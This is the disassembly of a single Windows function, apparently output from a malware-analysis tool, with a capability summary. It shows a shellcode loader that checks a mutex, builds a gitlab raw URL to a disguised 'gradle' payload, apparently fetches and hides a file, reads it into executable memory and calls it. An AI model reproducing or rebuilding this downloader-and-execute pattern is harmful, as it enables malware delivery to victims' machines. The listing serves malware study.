Function at 0x4015d0
Capabilities:
Allocate or change rwx memory
Check mutex on windows
Execute shellcode via indirect call
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14c
push ebx
push esi
push edi
push str.Windows
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov ebx, eax
test ebx, ebx
je 0x401931
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40192a
movaps xmm0, xmmword [0x404370]
lea ecx, [esp + 0xd0]
movups xmmword [esp + 0xd0], xmm0
movaps xmm0, xmmword [0x404380]
movups xmmword [esp + 0xe0], xmm0
movaps xmm0, xmmword [0x404350]
movups xmmword [esp + 0xf0], xmm0
movaps xmm0, xmmword [0x404360]
movups xmmword [esp + 0x100], xmm0
movaps xmm0, xmmword [str.7f4121260283cbd4hrome___raw_09487b6bc9b4b751a87ahttps:__gitlab.com_test7805548_cebec_gradle_wrap]
movups xmmword [esp + 0x110], xmm0
movaps xmm0, xmmword [0x404390]
movups xmmword [esp + 0x120], xmm0
movaps xmm0, xmmword [str.per_windows.bin]
movups xmmword [esp + 0x130], xmm0
call fcn.00401220
test al, al
je 0x40191c
push 2
push str.user.win
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
je 0x40191c
lea ecx, [esp + 0x88]
mov dword [esp + 0x18], 0x404318
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
push 0
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x24]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char_____bool_]
mov eax, dword [esp + 0x18]
mov eax, dword [eax + 4]
mov dword [esp + eax + 0x18], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [esp + 0x18]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [esp + ecx + 0x14], eax
lea ecx, [esp + 0x28]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
lea ecx, [esp + 0x28]
mov dword [esp + 0x28], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [esp + 0x70], 0
mov byte [esp + 0x65], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov ecx, dword [0x406674]
mov eax, dword [0x406670]
push ecx
push 0x25
mov dword [esp + 0x74], ecx
push ecx
lea ecx, [esp + 0x34]
mov dword [esp + 0x80], 0
mov dword [esp + 0x74], eax
mov dword [esp + 0x6c], 0
call fcn.004026e0
test eax, eax
jne 0x401752
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x18]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
cmp dword [esp + 0x74], 0
jne 0x401772
lea ecx, [esp + 0x18]
mov esi, 1
call fcn.00401940
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
lea eax, [esp + 0x140]
push eax
lea ecx, [esp + 0x1c]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
mov edi, dword [eax + 8]
lea ecx, [esp + 0x24]
add edi, dword [eax]
mov esi, dword [eax + 0xc]
adc esi, dword [eax + 4]
mov dword [esp + 0x20], edi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
push edi
call fcn.00402b3a
add esp, 4
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x18]
push esi
push edi
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
mov ecx, dword [eax]
mov ecx, dword [ecx + 4]
add ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_bool___thiscall_std::ios_base::operator__void_const]
test al, al
jne 0x4018f6
cmp dword [esp + 0x74], 0
je 0x401866
mov eax, dword [esp + 0x34]
lea ecx, [esp + 0x64]
cmp dword [eax], ecx
jne 0x401801
mov edx, dword [esp + 0x7c]
mov ecx, dword [esp + 0x78]
sub edx, ecx
mov dword [eax], ecx
mov eax, dword [esp + 0x44]
mov dword [eax], ecx
mov eax, dword [esp + 0x54]
mov dword [eax], edx
lea ecx, [esp + 0x28]
call fcn.004025b0
push dword [esp + 0x74]
xor ecx, ecx
lea esi, [esp + 0x2c]
test al, al
cmove esi, ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
mov byte [esp + 0x70], 0
xor edi, edi
mov byte [esp + 0x65], 0
test eax, eax
lea ecx, [esp + 0x28]
cmove edi, esi
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x406670]
mov ecx, dword [0x406674]
mov dword [esp + 0x74], 0
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x60], 0
test edi, edi
jne 0x4018b2
jmp 0x40189d
lea ecx, [esp + 0x28]
mov byte [esp + 0x70], 0
mov byte [esp + 0x65], 0
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void_]
mov eax, dword [0x406670]
mov ecx, dword [0x406674]
mov dword [esp + 0x74], 0
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x60], 0
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x18]
push 0
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov edi, dword [esp + 0x14]
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x4018f6
push edi
mov edi, dword [esp + 0x14]
push edi
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
call esi
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor esi, esi
jmp 0x4018ff
mov edi, dword [esp + 0x10]
mov esi, 1
push edi
call fcn.00402af7
add esp, 4
lea ecx, [esp + 0x18]
call fcn.00401940
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10